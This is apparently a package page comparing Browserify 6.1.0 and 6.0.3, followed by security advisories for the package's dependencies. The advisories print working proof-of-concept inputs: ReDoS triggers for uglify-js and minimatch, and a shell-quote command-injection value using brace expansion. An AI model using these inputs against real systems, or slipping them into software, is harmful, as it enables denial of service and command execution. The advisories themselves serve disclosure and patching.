Browserify 6.1.0 represents a minor version update over its predecessor, 6.0.3, in the popular JavaScript bundler used to run Node.js-style modules in the browser. While both versions share the same core functionality and description as enabling browser-side require() in the Node.js manner, the key differences lie in the release date and potentially in minor bug fixes or dependency updates that aren't explicitly listed. Both versions are licensed under the MIT license and maintained by James Halliday, also known as substack.
Developers familiar using the library won't find significant breaking changes between the two versions, so upgrading is generally safe; version 6.1.0 was released on October 13, 2014, a few days after version 6.0.3, which came out on October 8, 2014. Both versions boast identical dependencies including essential packages like umd, url, glob, xtend, buffer and browser-pack as well as devDependencies such as coffeeifyand browser-unpack which signals a focus on stability and maintaining existing features.
For developers selecting between the two, version 6.1.0 is the more recent stable version and thus preferable, as it might contain resolutions for minor issues discovered in version 6.0.3. Both rely on the same toolchain, including insert-module-globals so both are suitable for any project already using Browserify. Due to the minor version bump, those actively using Browserify should upgrade to the latest release, but the specific use of either 6.1.0 or 6.0.3 matters little.
All the vulnerabilities related to the version 6.1.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.